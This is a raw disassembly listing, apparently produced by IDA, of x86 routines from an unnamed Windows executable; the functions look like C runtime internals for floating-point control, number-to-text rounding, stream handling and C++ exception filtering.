		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C504
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2810000h
		test	eax, eax
		mov	eax, dword_43C504
		jnz	short loc_423EE8

loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8

loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2810000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB

loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx

loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax

loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax

loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax

loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8

loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4

loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2

loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1

loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h

loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1

loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------

loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h

loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax

loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4

loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8

loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h

loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h

loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2

loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4

loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------

loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx

loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]

loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8

loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]

loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208

loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]

loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------

loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx

loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2

loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------

loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx

loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------

loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h

loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------

loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------

loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx

loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax

loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------

loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC78
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------

loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx

loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]

loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8

loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------

loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]

loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------

loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h

loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB470
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB498, eax
		add	esp, 18h
		movsx	eax, byte_4DB472
		mov	dword_4DB490, eax
		pop	edi
		movsx	eax, word_4DB470
		mov	dword_4DB494, eax
		mov	dword_4DB49C, offset dword_4DB474
		mov	eax, offset dword_4DB490
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------

loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------

loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8B8o
					; ___:0043D118o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------

loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4A0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4A0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------

loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax

loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
